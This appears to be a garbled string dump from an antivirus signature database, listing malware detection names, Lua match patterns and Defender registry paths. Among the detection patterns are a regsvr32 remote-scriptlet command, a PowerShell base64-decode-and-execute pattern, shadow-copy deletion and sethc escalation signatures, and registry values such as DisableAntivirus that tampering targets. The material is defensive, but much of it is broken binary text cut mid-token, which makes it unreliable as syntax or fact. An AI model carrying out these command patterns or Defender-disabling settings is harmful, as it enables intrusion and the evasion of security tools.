11882.N!wimLua:Equation3InRTF&SCRIPT:OLE.EquationCLSID&SCRIPT:Equation3_Overflow_WinExec.A z'O!#TEL:Exploit:O97M/CVE-2017-
11882.N!wimLua:Equation3InRTF&SCRIPT:OLE.EquationCLSID&SCRIPT:Equation3_Overflow_WinExec.A 
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11882.N!wimLua:Equation3InRTF&SCRIPT:OLE.EquationCLSID&SCRIPT:Equation3_Overflow_WinExec.A 
!#TEL:SCRIPT/WmiLaunchRundll32_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchRundll32_JavaScript 
z+K!#TEL:SCRIPT/WmiLaunchRundll32_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchRundll32_JavaScript 
!#SLF:Context/ShortcutFileInEdgeBrowserDownloads.ARPF:TopLevelFile&Lua:LnkExt&Lua:FileInMicrosoftEdgeDownloadsFolder.A 
z2D!#SLF:Context/ShortcutFileInEdgeBrowserDownloads.ARPF:TopLevelFile&Lua:LnkExt&Lua:FileInMicrosoftEdgeDownloadsFolder.A 
!#ALFPER:AGGR:Win32/AgileDotNetObfuscatorUnsigned.ALowfi:HSTR:Win32/AgileDotNetObfuscator&!PEPCODE:HasDigitalSignature 
z3C!#ALFPER:AGGR:Win32/AgileDotNetObfuscatorUnsigned.ALowfi:HSTR:Win32/AgileDotNetObfuscator&!PEPCODE:HasDigitalSignature 
!#TEL:HTML/Redir.ABLUA:FileSizeLE5000.A&SCPT:HTML/ReferrerHeader&SCPT:HTML/SuspiciousPhish&SCPT:HTML/SuspiciousRedirect 
d!#TEL:HTML/Redir.ABLUA:FileSizeLE5000.A&SCPT:HTML/ReferrerHeader&SCPT:HTML/SuspiciousPhish&SCPT:HTML/SuspiciousRedirect 
!#TEL::VBS/Miuporu.ASCRIPT:VBS/WritePS1File&SCRIPT:VBS/ExecutePS1File&(SCRIPT:VBS/CreateScheduledTask|SCPT:PSCmdSlashC) 
c!#TEL::VBS/Miuporu.ASCRIPT:VBS/WritePS1File&SCRIPT:VBS/ExecutePS1File&(SCRIPT:VBS/CreateScheduledTask|SCPT:PSCmdSlashC) 
!#TEL:O97M/Powdow.NAInEmail&BM_OLE_FILE&LUA:FileSizeLE80000.A&MHSTR:Obfuscator.EmptyAssign&MHSTR:ShellInTextboxChange.A 
c!#TEL:O97M/Powdow.NAInEmail&BM_OLE_FILE&LUA:FileSizeLE80000.A&MHSTR:Obfuscator.EmptyAssign&MHSTR:ShellInTextboxChange.A !#ALF:COMScriptletRunSCRIPT:WScriptShellRun&
(TEL:SCPT:Trojan:Win32/COMScriptlet.A|TEL:SCPT:Trojan:Win32/COMScriptlet.B) b!#ALF:COMScriptletRunSCRIPT:WScriptShellRun&
(TEL:SCPT:Trojan:Win32/COMScriptlet.A|TEL:SCPT:Trojan:Win32/COMScriptlet.B) 
!#SLF:MsBuildInlineTsk.CSCRIPT:TargetTask&SCRIPT:Realm.task!func&SCRIPT:ContainsClassCode.B&SCRIPT:ContainsCsharpCode.B 
_!#SLF:MsBuildInlineTsk.CSCRIPT:TargetTask&SCRIPT:Realm.task!func&SCRIPT:ContainsClassCode.B&SCRIPT:ContainsCsharpCode.B 
!#AGGR:Tobeet_Msil_0C242822pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Win32/PossibleKeylogger.C1 
\\!#AGGR:Tobeet_Msil_0C242822pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Win32/PossibleKeylogger.C1 
!#AGGR:Tobeet_Msil_27B6109BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 
\\!#AGGR:Tobeet_Msil_27B6109BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 
!#AGGR:Tobeet_Msil_4E8D0A83pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/Class.UriBuilder.A&AGGR:Lua:MSIL.AbnormalMethod.Name 
\\!#AGGR:Tobeet_Msil_4E8D0A83pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/Class.UriBuilder.A&AGGR:Lua:MSIL.AbnormalMethod.Name 
!#AGGR:Tobeet_Msil_512D4FE1pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:FileSharingURL 
\\!#AGGR:Tobeet_Msil_512D4FE1pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:FileSharingURL 
!#AGGR:Tobeet_Msil_536E4B7Bpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_D80300B4 
\\!#AGGR:Tobeet_Msil_536E4B7Bpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_D80300B4 
!#AGGR:Tobeet_Msil_7DECF1ABpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:Tobeet_D80300B4&LUA:SuspVerinfo 
\\!#AGGR:Tobeet_Msil_7DECF1ABpea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:Tobeet_D80300B4&LUA:SuspVerinfo 
!#TEL:Trojan:Win32/Tisifi.DLua:ContextFromWebmail&HSTR:Win32/DelphiFile&HSTR:HasSEH&pea_isdamaged&SuspiciousEXEfilename 
\\!#TEL:Trojan:Win32/Tisifi.DLua:ContextFromWebmail&HSTR:Win32/DelphiFile&HSTR:HasSEH&pea_isdamaged&SuspiciousEXEfilename 
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550>369852$cv>it=i9|:%amd_>jn3%bm\\mpcp;=l\\kl13685.24 (!#SCPT:TrojanDownloader:O97M/Dunoff.ST02 )h(!#SCPT:TrojanDownloader:O97M/Dunoff.ST02 5click enableediting 
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:#LowFi:Adware:Win32/Koutodoor!LikeyCleanPUS :#LowFi:Adware:Win32/Koutodoor!LikeyCleanPUSU1 :#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB!EP 
:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB!EPU1 )#:1:z:2:NSIS_3_0_rc1_zlib_solid-x86-unicode )#:1:z:2:NSIS_3_0_rc1_zlib_solid-x86-unicodeU1& 
Y#PERSIST:Lowfi:PEBMPAT:AntiEmuTimeStampREAD Y#PERSIST:Lowfi:PEBMPAT:AntiEmuTimeStampREADU1 Y#PERSIST_SIGATTR:Program:Win32/OptimizerPro 
Y#PERSIST_SIGATTR:Program:Win32/OptimizerProU1 )#:1:b:2:NSIS_3_0_b2_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_b2_bzip2_solid-x86-unicodeU1- 
:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APC :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APCU1K`o )#:0:l:2:NSIS_3_0_b2_strlen_lzma-x86-unicode )#:0:l:2:NSIS_3_0_b2_strlen_lzma-x86-
unicodeU1 :#Lowfi:LUA:TrojanDropper:Win32/Exdrop.gen!A :#Lowfi:LUA:TrojanDropper:Win32/Exdrop.gen!AU1 :#Lowfi:HSTR:SefnitClickfraudComponent_Type2 
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:#Lowfi:HSTR:SefnitClickfraudComponent_Type2U1 )#:1:b:2:NSIS_3_0_b1_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_b1_bzip2_solid-x86-unicodeU1$ 
:#Lowfi:AGG:TrojanDownloader:Win32/Papdoof.A :#Lowfi:AGG:TrojanDownloader:Win32/Papdoof.AU1)@ :#LowFi:Adware:Win32/ArcadeWeb!LikeyCleanPUS 
:#LowFi:Adware:Win32/ArcadeWeb!LikeyCleanPUSU1 :#Lowfi:HSTR:BrowserModifier:ConsentBypass.B :#Lowfi:HSTR:BrowserModifier:ConsentBypass.BU1 
:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.AOQ :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.AOQU1 Y#PERSIST:HSTR:VirTool:Win32/QuarkPwDump!dha 
Y#PERSIST:HSTR:VirTool:Win32/QuarkPwDump!dhaU1 ]#LowFi:Lua:Worm:JS/Bondat!LnkTargetJs_lowfi ]#LowFi:Lua:Worm:JS/Bondat!LnkTargetJs_lowfiU1 
:#LowFiExp:Win32/ContextualDropJavawTempLike :#LowFiExp:Win32/ContextualDropJavawTempLikeU1K~ :#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A2 
:#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A2U1 :#LowFi:SIGATTR:VirTool:JS/Obfuscator!Bondat :#LowFi:SIGATTR:VirTool:JS/Obfuscator!BondatU18 
:#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.B :#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.BU1% Y#PERSIST:TrojanDropper:Win32/Seenabhi.A!dha 
Y#PERSIST:TrojanDropper:Win32/Seenabhi.A!dhaU1 :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.M :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.MU1 
:#LowFi:Adware:Win32/PigSearch!LikeyCleanPUS :#LowFi:Adware:Win32/PigSearch!LikeyCleanPUSU1 :#LowFi:HSTR:VirTool:Win32/VBInject_emotet.4 
:#LowFi:HSTR:VirTool:Win32/VBInject_emotet.4U1( :#Lowfi:SIGATTR:TrojanDownloader:VBS/Adodb.B :#Lowfi:SIGATTR:TrojanDownloader:VBS/Adodb.BU1 
:#LowFiExp:Win32/ContextualDrop2JavaTempLike :#LowFiExp:Win32/ContextualDrop2JavaTempLikeU1z{* :#Lowfi:TrojanDownloader:PowerShell/Drixed.A 
:#Lowfi:TrojanDownloader:PowerShell/Drixed.AU1U ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l3 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l3U1LB ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l7 
]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l7U1 :#LowFi:Adware:Win32/Enumerate!LikeyCleanPUS :#LowFi:Adware:Win32/Enumerate!LikeyCleanPUSU1 )#:1:z:2:NSIS_3_0_strlen_zlib_solid-x86-
ansi )#:1:z:2:NSIS_3_0_strlen_zlib_solid-x86-ansiU1r :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.L :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.LU1 
:#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.C :#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.CU1 :#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A3 
:#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A3U1 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l6 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l6U1J 
:#LowFi:HSTR:TrojanSpy:Win32/Xtrat!WriteFile :#LowFi:HSTR:TrojanSpy:Win32/Xtrat!WriteFileU1 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l2 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l2U1 
:#Lowfi:SIGATTR:TrojanClickerClikugInstaller :#Lowfi:SIGATTR:TrojanClickerClikugInstallerU1zW :#Lowfi:HSTR:BrowserModifier:ConsentBypass.C 
:#Lowfi:HSTR:BrowserModifier:ConsentBypass.CU1 :#Lowfi:SIGATTR:TrojanDropper:Win32/Bradop.B :#Lowfi:SIGATTR:TrojanDropper:Win32/Bradop.BU1 
:#LowFiSIGATTR:Trojan:Win32/CopySelf_AppData :#LowFiSIGATTR:Trojan:Win32/CopySelf_AppDataU1c :#Lowfi:HSTR:BrowserModifier:ConsentBypass.G 
:#Lowfi:HSTR:BrowserModifier:ConsentBypass.GU1=Y :#Lowfi:Lua:WrittenToDownloadFolderByTorrent :#Lowfi:Lua:WrittenToDownloadFolderByTorrentU1 
:#Lowfi:Lua:WrittenToDownloadFolderByBrowser :#Lowfi:Lua:WrittenToDownloadFolderByBrowserU1Ih :#Lowfi:HSTR:VirTool:MSIL/BitmapDecryption.B 
:#Lowfi:HSTR:VirTool:MSIL/BitmapDecryption.BU1 :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APF :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APFU1 
:#HSTR:TrojanDropper:Win32/Evotob_Decryption :#HSTR:TrojanDropper:Win32/Evotob_DecryptionU1Y )#:0:z:2:NSIS_3_0_b2_strlen_zlib-x86-unicode )#:0:z:2:NSIS_3_0_b2_strlen_zlib-x86-
unicodeU1 :#Lowfi:ImpHash:VirTool:Win32/Obfuscator.APD :#Lowfi:ImpHash:VirTool:Win32/Obfuscator.APDU1dp# Y#PERSIST:TrojanDropper:Win32/Noratops.A!dha 
Y#PERSIST:TrojanDropper:Win32/Noratops.A!dhaU1) _#TELPER:SCRIPT:MpTamperAmsiScanExcludeDrive _#TELPER:SCRIPT:MpTamperAmsiScanExcludeDriveU1I 
:#Lowfi:HSTR:VirTool:MSIL:Injector.Fomaltons :#Lowfi:HSTR:VirTool:MSIL:Injector.FomaltonsU1I :#Lowfi:HSTR:BrowserModifier:Win32/DNUpdater 
:#Lowfi:HSTR:BrowserModifier:Win32/DNUpdaterU1 :#Lowfi:SCRIPT:TrojanDropper:Win32/Sarvdap.B :#Lowfi:SCRIPT:TrojanDropper:Win32/Sarvdap.BU1G 
:#Lowfi:HSTR:VirTool:Win32/DelfInject.gen!DB :#Lowfi:HSTR:VirTool:Win32/DelfInject.gen!DBU1 Y#PERSIST:TrojanDownloader:Win32/Lecna.A!dha 
Y#PERSIST:TrojanDownloader:Win32/Lecna.A!dhaU19 ]#LowFi:ShadowCopyDeletionNonRootFriendlyLOL ]#LowFi:ShadowCopyDeletionNonRootFriendlyLOLU1 # 
)#:1:b:2:NSIS_3_0_a0_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_a0_bzip2_solid-x86-unicodeU2 :#LowFi:Lua:ExecutableUsingImageExtension!dha 
:#LowFi:Lua:ExecutableUsingImageExtension!dhaU2 Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.Rcpack Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.RcpackU2 
Y#PERSIST_ContextualAccessJavaTempLikeCorrupt Y#PERSIST_ContextualAccessJavaTempLikeCorruptU2` ]#LowFi:BMLua:AccessibilityEscalation.D!sethc 
]#LowFi:BMLua:AccessibilityEscalation.D!sethcU2dc :#Lowfi:SCRIPT:Trojan:PowerShell/RedPowdump.B :#Lowfi:SCRIPT:Trojan:PowerShell/RedPowdump.BU2 
Y#PERSIST_Lua:SuspiciousAcrord32infoStartup.A Y#PERSIST_Lua:SuspiciousAcrord32infoStartup.AU2 :#Lowfi:SIGATTR:VirTool:Win32/Injector.gen!BR 
:#Lowfi:SIGATTR:VirTool:Win32/Injector.gen!BRU2 Y#PERSIST:Program:Win32/Bitmonero!LikelyClean Y#PERSIST:Program:Win32/Bitmonero!LikelyCleanU2 
:#Lowfi:HSTR:TrojanSefnit_TorComponent_Bitmap :#Lowfi:HSTR:TrojanSefnit_TorComponent_BitmapU2C :#Lowfi:HSTR:Win32/Packer.Delphi.Decryption.A 
:#Lowfi:HSTR:Win32/Packer.Delphi.Decryption.AU2 $!)#:1:z:2:NSIS_3_01_strlen_zlib_solid-x86-ansi $!)#:1:z:2:NSIS_3_01_strlen_zlib_solid-x86-ansiU2\\ 
\":#LowfiREG/CompromisedCert_KeepMyFamilySecure \":#LowfiREG/CompromisedCert_KeepMyFamilySecureU2 #:#Lowfi:HSTR:TrojanDownloader:Win32/Cerewow.A 
#:#Lowfi:HSTR:TrojanDownloader:Win32/Cerewow.AU2P #:#Lowfi:IMPHASH:TrojanDownloader:Win32/Adload #:#Lowfi:IMPHASH:TrojanDownloader:Win32/AdloadU2v- 
#:#Lowfi:HSTR:TrojanDownloader:Win32/Papdoof.A #:#Lowfi:HSTR:TrojanDownloader:Win32/Papdoof.AU2 #)#:1:z:2:NSIS_3_02_strlen_zlib_solid-x86-ansi #)#:1:z:2:NSIS_3_02_strlen_zlib_solid-x86-
ansiU2Vh &:#LowFi:Adware:MSIL/Strongvault!LikeyCleanPUS &:#LowFi:Adware:MSIL/Strongvault!LikeyCleanPUSU2eZ +:#Lowfi:HSTR:TrojanDownloader:Win32/Filcout.B 
pox.:#LOWFI:SoftwareBundler:Win32/OxyPumper_AffId +:#Lowfi:HSTR:TrojanDownloader:Win32/Filcout.BU2pox.:#LOWFI:SoftwareBundler:Win32/OxyPumper_AffIdU2 
.:#Lowfi:Trojan:Win32/SandCastleMagicFile!MSFT .:#Lowfi:Trojan:Win32/SandCastleMagicFile!MSFTU2 2Y#PERSIST:HSTR:Backdoor:Win32/Genevieve.B!dha 
2Y#PERSIST:HSTR:Backdoor:Win32/Genevieve.B!dhaU2 8Y#PERSIST:SoftwareBundler:Win32/GoFileExpress 8Y#PERSIST:SoftwareBundler:Win32/GoFileExpressU2 
;]#LowFi:BMLua:AccessibilityEscalation.Z!sethc ;]#LowFi:BMLua:AccessibilityEscalation.Z!sethcU2dm =:#Lowfi:Lua:WrittenToDo %w+%.lck \t%w+%.lck %w+%.idx \t%w+%.idx 
!#Lua:DorkbotFileName.A flashdefaultpack.exe Lua:DorkbotFileName.A!RH Lua:DorkbotFileName.A 10958fe944e8 decrypted  count_mov_eax count_mov_edx count_mov_dl  count_xchg_edi 
count_mov_esi count_pushpop_ecx count_mov_ch  count_mnop count_xchg_edx count_pushpop_esi !decrypted [Obfuscator.ZV] 11956216fd76    1c955dc20319    f9d74bd8f863 
Lua:MpRequestEmsScan beammp-launcher nginx ^(%d%d%d+)_(.+)$ SCANSOURCE_RTSIG Solorigate split_path ^Trojan:MSIL/Solorigate.BR!dha  solarwinds.businesslayerhost.exe 
!solarwinds.businesslayerhost.exe configurationwizard.exe  IsFileOpenedByProcess OrionModuleEngine (.-)([^\\]-([^\\%.]+))$ !#Lua:GlbFileInOfficeFile.A 
!#Lua:GlbFileInOfficeFile.AIncludesResearchDataObMpAttributes ->word/media/  data%:application%/gltf%-buffer%;base64%,(.-)\" /data%:application%/gltf%-buffer%;base64%,(.-)\"  
Lua:GlbInOfficeFileHasBase64.A Lua:GlbInOfficeFileHasSuspOffsetF0.A %Lua:GlbInOfficeFileHasSuspOffsetF0.A Lua:GlbInOfficeFileHasSuspOffsetF8.A %Lua:GlbInOfficeFileHasSuspOffsetF8.A 
2c37826207ad7 HSTR:VirTool:Win32/Obfuscator.ALT1 #HSTR:VirTool:Win32/Obfuscator.ALT1 HSTR:VirTool:Win32/Obfuscator.ALT2 #HSTR:VirTool:Win32/Obfuscator.ALT2 
LoD:VirTool:Win32/Obfuscator.ACV.3 #LoD:VirTool:Win32/Obfuscator.ACV.3  HSTR:VirTool:Win32/Obfuscator.ALT3 #HSTR:VirTool:Win32/Obfuscator.ALT3 55b3b042e32e   dbb3177f2d11 
dbb3177f2d11IncludesBMLuaLib \\programdata\\microsoft\\windows defender\\definition updates\\{%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-
%x%x%x%x%x%x%x%x%x%x%x%x}\\mpksldrv%.sys %%common_appdata%%\\microsoft\\windows defender\\definition updates\\{%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-
%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x}\\mpksldrv%.sys \\windows\\system32\\mpenginestore\\mpksldrv.sys -\\windows\\system32\\mpenginestore\\mpksldrv.sys \\(mpksl[%w]+) Filcout 
hFileScoutKey HKCR\\*\\shell\\filescout  hUnknownFileKey HKCR\\*\\shell\\unknownfile hUnknownKey HKCR\\Unknown\\shell\\openas\\command \"HKCR\\Unknown\\shell\\openas\\command 
defaultValueData filescout.exe unknownfile.exe SetRegValueAsStringExpand %SystemRoot%\\system32\\OpenWith.exe \"%1\" (%SystemRoot%\\system32\\OpenWith.exe \"%1\" 
%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,OpenAs_RunDLL %1 V%SystemRoot%\\system32\\rundll32.exe 
%SystemRoot%\\system32\\shell32.dll,OpenAs_RunDLL %1 delegateexecuteValueData fs_DelegateExecute {e44e9428-bdbc-4987-a099-40dc8fd255e7} '{e44e9428-bdbc-4987-a099-40dc8fd255e7} 
DelegateExecute !#Lua:ContextPEExtractedFromArchive  \\temp\\rar$ex  \\temp\\7zo  \\temp\\wz[0-9a-f][0-9a-f][0-9a-f][0-9a-f]$ *\\temp\\wz[0-9a-f][0-9a-f][0-9a-f][0-9a-f]$ irsetup.exe   \\temp\\temp[0-
9]_.+%.zip$ Powemet regsvr32.+/i%:http.+scrobj%.dll  regsvr32.+/i%:http.+scrobj%.dll iex%s*%(%[text%.encoding%]%:%:ascii%.getstring%(%[convert%]%:%:frombase64string%(%(gp%s*%'hk 
]iex%s*%(%[text%.encoding%]%:%:ascii%.getstring%(%[convert%]%:%:frombase64string%(%(gp%s*%'hk !#Lua:ScriptExtractedFileInZip.A 04,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS 
DEFENDERB(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Device ControlN(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Device Control\\*
(infinite)>(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\ExclusionsJ(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Exclusions\\*(infinite)
<(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\FeaturesH(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Features\\*
(infinite)O(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Miscellaneous Configuration[(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Miscellaneous 
Configuration\\*(infinite)<(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\MpEngineH(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\MpEngine\\*
(infinite)7(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\NISC(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\NIS\\*(infinite)>
(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\QuarantineJ(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Quarantine\\*
(infinite)H(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Real-Time ProtectionT(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Real-Time Protection\\*
(infinite)?(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\RemediationK(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Remediation\\*
(infinite)8(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\ScanD(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Scan\\*
(infinite)E(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Signature UpdatesQ(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Signature Updates\\*
(infinite):(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\SpynetF(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Spynet\\*(infinite);
(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\ThreatsG(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Threats\\*
(infinite)D(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\UX ConfigurationP(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\UX Configuration\\*
(infinite)8(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\WCOSD(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\WCOS\\*
(infinite)R(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Windows Defender Exploit Guard^(98304,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\Windows 
Defender Exploit Guard\\*(infinite)X(2047,4),HKLM\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)X(2047,4),HKCU\\SOFTWARE\\CLASSES\\AppID\\
{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*
[(2047,4),HKCU\\SOFTWARE\\CLASSES\\AppID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*X(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-
B9D127C57AFE}\\*(infinite)X(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-
28E2-4109-99FE-B9D127C57AFE}\\*(infinite)\\\\*[(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E2-4109-99FE-B9D127C57AFE}\\*
(infinite)\\\\*F(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\\\ProductAppDataPath>(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows 
Defender\\Features\\\\*G(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\*(infinite)J(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\\*
(infinite)\\\\*D(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\\\DisableAntivirusF(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS 
DEFENDER\\\\DisableAntiSpywareI(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT ANTIMALWARE\\\\DisableAntivirusK(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT 
ANTIMALWARE\\\\DisableAntiSpywareR(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT 
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ANTIMALWARE\\\\DisableAntiSpywareR(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\MICROSOFT 
ANTIMALWARE\\FEATURES\\\\ForcePassiveModeC(2047,4),HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\\\EnableAuditMode[(2047,4),HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows 
Defender\\MpEngine\\\\MpForceDelayReporting[(2047,4),HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\MpEngine\\\\MpContinueOnDetectionz 15b367fe3d15  syntpenh.exe  
HKCU\\software\\Wow6432Node\\microsoft\\windows nt\\currentversion\\terminal 
server\\install\\software\\microsoft\\windows\\currentversion\\runonce\\\\*MHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\*
(infinite)THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.htm\\UserChoice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserC
hoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.pdf\\UserChoice\\\\*THKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.doc\\UserCh
oice\\\\*UHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.docx\\UserCh  api%-ms%-win%-system%-%w+%-l1%-1%-0%.dll )api%-ms%-win%-system%-%w+%-l1%-1%-
0%.dll 25b3cbdfd0e2  34b36c2d36aa \\wsfadec.dll   6540148673fc  rsasec.dll secctp.dll module_ls.dll deploy.dll deplay.dll jpicom.dll nbdcom.dll 2eb35f2f3cdf 2eb35f2f3cdfIncludesResearchData 
19a78da5b1ec5 2d2911cd5db4 2d2911cd5db4IncludesResearchData  !#PEPCODE:Virus:Win32/Virut.BN    !#PEPCODE:Backdoor:WinNT/Rustock.F SectionAlignment   
!#ALF:Exploit:Script/UseMojoJsBindings.A!dha !#ALF:Exploit:Script/UseMojoJsBindings.A!dhaObMpAttributes test.html  SCPT:CodeOnly.UseMojoJsBindings  SCPT:CodeOnly.UseMojoJsBindings 
!#Lua:JSx2a !#Lua:JSx2aObMpAttributes [JSx2a] 477888a4efbf obf_oa_marker_%x%x bbb3378219e8  @EF@  f5b360fa5c1c 2f29b8bf316c 2f29b8bf316cIncludesResearchData //AGGR:OleFile (<a 
href%=\"http.-\">https%://businessonline%.o2%.co%.uk/) 9(<a href%=\"http.-\">https%://businessonline%.o2%.co%.uk/) <a href%=\"https%://businessonline%.o2%.co%.uk/.-
